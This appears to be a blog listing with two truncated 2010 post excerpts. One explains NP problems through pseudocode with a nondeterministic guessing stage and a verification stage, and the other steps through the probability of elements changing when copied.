How did I solve an NP-Complete problem in polynomial-time?
begin /* The following for-loop is the guessing stage*/ for i=1 to N do X[i] := choose(i); endfor /* Next is the verification stage */ Write code that does not use "choose" and verifies if X[1:N] is a correct solution to the problem. end Example of an NP problem: The Hamiltoni... 31 Mar 2010 09:50

The Provisional Certainties of Applied Statements of Assumption
This problem concerns the expression of N elements with P probability of change as the elemments are copied. 1. Begin with N elements and a probability p of change in each element. 2. The probability each element will not change is 1-p. 3. N x p elements will change in copying elements. 4. N x (1 - p) elements... 2 Apr 2010 12:36
